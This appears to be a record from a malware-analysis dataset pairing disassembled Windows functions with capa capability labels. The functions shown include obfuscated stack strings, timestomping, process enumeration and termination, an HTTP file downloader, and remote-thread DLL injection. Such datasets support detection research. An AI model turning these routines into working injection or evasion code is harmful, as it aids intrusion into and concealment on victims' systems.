joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4039ac
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push ebx
push esi
mov esi, 0x104
xor ebx, ebx
push esi
lea eax, [ebp - 0x15c]
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x15c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 5
lea eax, [ebp - 0x18]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x15c]
push 3
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
lea eax, [ebp - 0x10]
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
lea eax, [ebp - 0x18]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x403a7f
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x58
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x58
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
call dword [sym.imp.MSVCRT.dll_rand]
push eax
mov eax, dword [ebp - 0x10]
movzx ecx, ax
shr eax, 0x10
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
cmp dword [ebp + 0xc], 8
jbe 0x403a7f
lea eax, [ebp - 0x58]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop eax
jmp 0x403a81
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x403ae1
Capabilities:
Contain obfuscated stackstrings
Get common file path
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406180
push 0x4052c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x534
push ebx
push esi
push edi
xor ebx, ebx
mov byte [ebp - 0x424], bl
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x423]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x430], 0x45
mov byte [ebp - 0x42f], 0x72
mov byte [ebp - 0x42e], 0x72
mov byte [ebp - 0x42d], 0x6f
mov byte [ebp - 0x42c], 0x72
mov byte [ebp - 0x42b], 0x31
mov byte [ebp - 0x42a], 0xd
mov byte [ebp - 0x429], 0xa
mov byte [ebp - 0x428], bl
mov byte [ebp - 0x540], 0x53
mov byte [ebp - 0x53f], 0x75
mov byte [ebp - 0x53e], 0x63
mov byte [ebp - 0x53d], 0x63
mov byte [ebp - 0x53c], 0x65
mov byte [ebp - 0x53b], 0x73
mov byte [ebp - 0x53a], 0x73
mov byte [ebp - 0x539], 0xd
mov byte [ebp - 0x538], 0xa
mov byte [ebp - 0x537], bl
mov dword [ebp - 4], ebx
push ebx
mov edi, 0x80
push edi
push 3
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
call esi
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
je 0x403c37
push 0x100
lea eax, [ebp - 0x534]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x407184
lea eax, [ebp - 0x534]
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0xc]
lea eax, [ebp - 0x534]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
push ebx
push edi
push 3
push ebx
push 1
push 0x80000000
lea eax, [ebp - 0x534]
push eax
call esi
mov dword [ebp - 0x544], eax
cmp eax, 0xffffffff
je 0x403c37
lea ecx, [ebp - 0x20]
push ecx
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 0x434], eax
cmp eax, ebx
jne 0x403c3f
lea eax, [ebp - 0x430]
jmp 0x403c64
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp - 0x434], eax
cmp eax, ebx
lea eax, [ebp - 0x430]
je 0x403c64
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x424]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x424]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x424]
push eax
call fcn.00403a85
add esp, 0x14
or dword [ebp - 4], 0xffffffff
call fcn.00403ca9
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40410e
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406190
push 0x4052c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x438
push ebx
push esi
push edi
push 1
pop eax
mov dword [ebp - 0x440], eax
xor ebx, ebx
mov dword [ebp - 0x43c], ebx
mov byte [ebp - 0x438], 0x45
mov byte [ebp - 0x437], 0x72
mov byte [ebp - 0x436], 0x72
mov byte [ebp - 0x435], 0x6f
mov byte [ebp - 0x434], 0x72
mov byte [ebp - 0x433], 0x31
mov byte [ebp - 0x432], 0xd
mov byte [ebp - 0x431], 0xa
mov byte [ebp - 0x430], bl
mov byte [ebp - 0x448], 0x4b
mov byte [ebp - 0x447], 0x20
mov byte [ebp - 0x446], 0x53
mov byte [ebp - 0x445], 0xd
mov byte [ebp - 0x444], 0xa
mov byte [ebp - 0x443], bl
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x44
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x62
mov byte [ebp - 0x27], 0x75
mov byte [ebp - 0x26], 0x67
mov byte [ebp - 0x25], 0x50
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x76
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x67
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], bl
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00403ccc
pop ecx
pop ecx
push dword [ebp + 8]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x43c], eax
cmp eax, ebx
jne 0x404222
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 6
jmp 0x40422e
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40424a
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
mov dword [ebp - 0x440], ebx
or dword [ebp - 4], 0xffffffff
call fcn.004042b1
push ebx
lea eax, [ebp - 0x2c]
push eax
call fcn.00403ccc
pop ecx
pop ecx
cmp dword [ebp - 0x440], 1
jne 0x40427e
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
lea eax, [ebp - 0x42c]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x42c]
push eax
call fcn.00403a85
add esp, 0xc
mov eax, dword [ebp - 0x440]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404bc8
Capabilities:
Contain obfuscated stackstrings
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.00405270
push ebx
push esi
push edi
push 0x407190
push dword [ebp + 8]
xor ebx, ebx
mov byte [ebp - 0x18], 0x45
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x31
mov byte [ebp - 0x12], 0xd
mov byte [ebp - 0x11], 0xa
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0xd
mov byte [ebp - 5], 0xa
mov byte [ebp - 4], bl
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
mov edi, 0x1000
test eax, eax
pop ecx
je 0x404c87
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x404c7f
push dword [ebp + 8]
lea eax, [ebp - 0x1818]
push 0x407198
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x800
mov esi, 0x4071b0
push ebx
push esi
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x20
xor esi, esi
jmp 0x404d74
push 1
pop esi
jmp 0x404d53
cmp dword [ebp + 0xc], ebx
jle 0x404d94
push edi
lea eax, [ebp - 0x1018]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov esi, 0x4071b0
lea eax, [ebp - 0x1018]
push esi
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
mov ebx, eax
lea eax, [ebp - 0x1018]
push eax
call sub.MSVCRT.dll_strlen
add ebx, eax
add esp, 0x1c
cmp ebx, 0x7fe
jbe 0x404ce8
xor esi, esi
push edi
lea eax, [ebp - 0x1018]
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x18]
jmp 0x404d64
lea eax, [ebp - 0x1018]
push 0x407184
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 8]
lea eax, [ebp - 0x1018]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x1018]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x404d4e
lea eax, [ebp - 0x1018]
push eax
lea eax, [ebp - 0x1818]
push 0x407198
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x800
push 0
push esi
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x1018]
push eax
jmp 0x404c6f
push 1
xor ebx, ebx
pop esi
push edi
lea eax, [ebp - 0x1018]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1818]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x14
lea eax, [ebp - 0x1818]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x1818]
push eax
call fcn.00403a85
add esp, 0xc
mov eax, esi
jmp 0x404e08
push 0x800
lea eax, [ebp - 0x1018]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov esi, 0x4071b0
push esi
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp eax, 0x7fd
push esi
jae 0x404df7
lea eax, [ebp - 0x1018]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x1018]
push 0x407194
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1018]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x1018]
push eax
call fcn.00403a85
add esp, 0x1c
jmp 0x404e06
call sub.MSVCRT.dll_strlen
push eax
push esi
call fcn.00403a85
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405183
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x400
lea eax, [ebp - 0x414]
push 0
push eax
call sub.MSVCRT.dll_memset
and byte [ebp - 4], 0
and byte [ebp - 0xc], 0
add esp, 0xc
cmp dword [ebp + 8], 0
mov byte [ebp - 8], 0x4f
mov byte [ebp - 7], 0x4b
mov byte [ebp - 6], 0xd
mov byte [ebp - 5], 0xa
mov byte [ebp - 0x14], 0x46
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0xd
mov byte [ebp - 0xd], 0xa
je 0x405231
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
cmp eax, 1
pop ecx
jb 0x405231
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
lea eax, [ebp - 8]
jne 0x405201
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x414]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x414]
pop ecx
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00403a85
add esp, 0xc
push 1
pop eax
leave
ret
xor eax, eax
leave
ret

Function at 0x4052f3
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4061a0
push 0x4052c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x409240], 0xffffffff
or dword [0x409244], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x40923c]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x409238]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x409248], eax
call fcn.00405425
cmp dword [0x4071a0], 0
jne 0x405376
push 0x405422
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00405410
push 0x40700c
push 0x407008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x409234]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x409230]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x407004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00402f92
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x4017d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x42c008]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
mov ebx, str.CB.exe
push 0x5c
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
add esp, 8
test eax, eax
je 0x401805
lea ebx, [eax + 1]
push 0
push 2
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4018b2
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
lea ecx, [esp + 0x34]
mov eax, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401854
test dl, dl
je 0x401850
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401854
add eax, 2
add ecx, 2
test dl, dl
jne 0x401834
xor eax, eax
jmp 0x401859
sbb eax, eax
or eax, 1
test eax, eax
je 0x4018c9
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
je 0x4018ab
nop
lea eax, [esp + 0x34]
mov ecx, ebx
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401896
test dl, dl
je 0x401892
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401896
add ecx, 2
add eax, 2
test dl, dl
jne 0x401876
xor eax, eax
jmp 0x40189b
sbb eax, eax
or eax, 1
test eax, eax
je 0x4018c9
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
jne 0x401870
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
Function at 0x4018f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f7dd
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 3
push 0x4244bc
push ecx
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0
call fcn.0040c320
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0x3c
cmovae eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x50]
push eax
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x4c], 0x40
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], str.cmd.exe
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x40199b
or esi, 0xffffffff
jmp 0x4019bf
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x14]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x4019f5
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4019eb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4019eb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0041e9db
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
Function at 0x401a20
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.3__
mov dword [ebp - 0x80], edx
mov edi, ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
movups xmm0, xmmword [str.Accept:___r_n_r_n]
push 0
mov esi, eax
lea eax, [ebp - 0x14]
push 0x4000000
push eax
movups xmmword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x14]
push eax
push edi
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x401ae3
push 0x4244f8
push dword [ebp - 0x80]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x401ae3
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x7c]
push eax
push 0x32
lea eax, [ebp - 0x78]
push eax
push ebx
call edi
test eax, eax
je 0x401ad9
nop dword [eax]
mov eax, dword [ebp - 0x7c]
push esi
test eax, eax
je 0x401af6
push eax
lea eax, [ebp - 0x78]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
lea eax, [ebp - 0x7c]
push eax
push 0x32
lea eax, [ebp - 0x78]
push eax
push ebx
call edi
test eax, eax
jne 0x401ab0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret

Function at 0x401b20
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [0x42c008]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
push edi
lea eax, [esp + 0x14]
mov si, dx
push eax
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ax, word [ebp + 8]
mov word [esp + 0x16], ax
mov ax, word [ebp + 0xc]
mov word [esp + 0x14], ax
mov ax, word [ebp + 0x10]
mov word [esp + 0x1c], ax
mov ax, word [ebp + 0x14]
mov word [esp + 0x1e], ax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x18]
mov word [esp + 0x1e], si
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [esp + 0xc]
push eax
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x24]
pop edi
pop esi
xor ecx, esp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
Function at 0x401d40
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x42c008]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401df2
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401db6
test dl, dl
je 0x401db2
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401db6
add ecx, 2
add eax, 2
test dl, dl
jne 0x401d96
xor eax, eax
jmp 0x401dbb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401de2
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401dde
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x401d90
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret

Function at 0x401e10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x42c008]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401e61
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x401e78
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x10]
call edi
test eax, eax
je 0x401ec5
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x401e84
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
Function at 0x401ee0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x42c9dc]
push ebx
mov ebx, edx
mov dword [ebp - 0x14], eax
push esi
push edi
push 0x16
mov eax, dword [ebx + 0x10]
inc eax
mov dword [ebp - 0xc], 0x8b55ff8b
mov dword [ebp - 0x10], eax
mov byte [ebp - 8], 0xec
call fcn.0041e9e9
mov edi, eax
add esp, 4
xor eax, eax
lea ecx, [edi + 0x14]
cmp edi, 0x424564
ja 0x401f30
cmp ecx, str.X_kIXjY__MXDbMAIsy_
jae 0x401f4f
movups xmm0, xmmword [str.X_kIXjY__MXDbMAIsy_]
mov eax, 0x10
pandn xmm0, xmmword [0x425fd0]
pxor xmm0, xmmword [0x425f60]
movups xmmword [edi], xmm0
mov esi, str.X_kIXjY__MXDbMAIsy_
lea ecx, [eax + edi]
mov edx, 0x15
sub esi, edi
sub edx, eax
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x2c
mov byte [ecx - 1], al
sub edx, 1
jne 0x401f60
push 0xb
mov byte [edi + 0x15], dl
call fcn.0041e9e9
add esp, 4
mov dword [eax], 0x6c64746e
push edi
mov dword [eax + 4], 0x6c642e6c
mov word [eax + 8], 0x6c
push eax
mov byte [eax + 0xa], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40205e
push 0x40
push 0x3000
push dword [ebp - 0x10]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x40205e
push 0
push 5
lea eax, [ebp - 0xc]
push eax
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40205e
push 0
push 5
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40205e
cmp dword [ebx + 0x14], 0x10
jb 0x402014
mov ebx, dword [ebx]
push 0
push dword [ebp - 0x10]
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40205e
push 0
push 0
push edi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test esi, esi
je 0x40205e
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret